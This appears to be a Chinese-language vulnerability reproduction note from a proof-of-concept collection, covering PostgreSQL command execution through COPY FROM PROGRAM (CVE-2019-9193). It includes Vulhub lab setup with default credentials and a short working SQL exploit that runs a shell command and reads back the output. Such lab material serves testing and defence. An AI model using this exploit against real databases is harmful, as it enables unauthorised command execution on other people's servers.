Awesome-POC/数据库漏洞/PostgreSQL 高权限命令执行漏洞 CVE-2019-9193.md

42 lines
1016 B
Markdown
Raw Normal View History

2024-11-06 14:10:36 +08:00
# PostgreSQL 高权限命令执行漏洞 CVE-2019-9193
## 漏洞描述
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”管理员或具有“COPY TO/FROM PROGRAM”权限的用户可以使用这个特性执行任意命令。
参考链接:
- https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
## 环境搭建
Vulhub启动存在漏洞的环境
```
docker-compose up -d
```
环境启动后将开启Postgres默认的5432端口默认账号密码为postgres/postgres。
## 漏洞复现
连接数据库:
```
psql --host your-ip --username postgres
```
首先连接到postgres中并执行参考链接中的POC
```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
```
`FROM PROGRAM`语句将执行命令id并将结果保存在cmd_exec表中
![image-20220228144351955](images/202202281443076.png)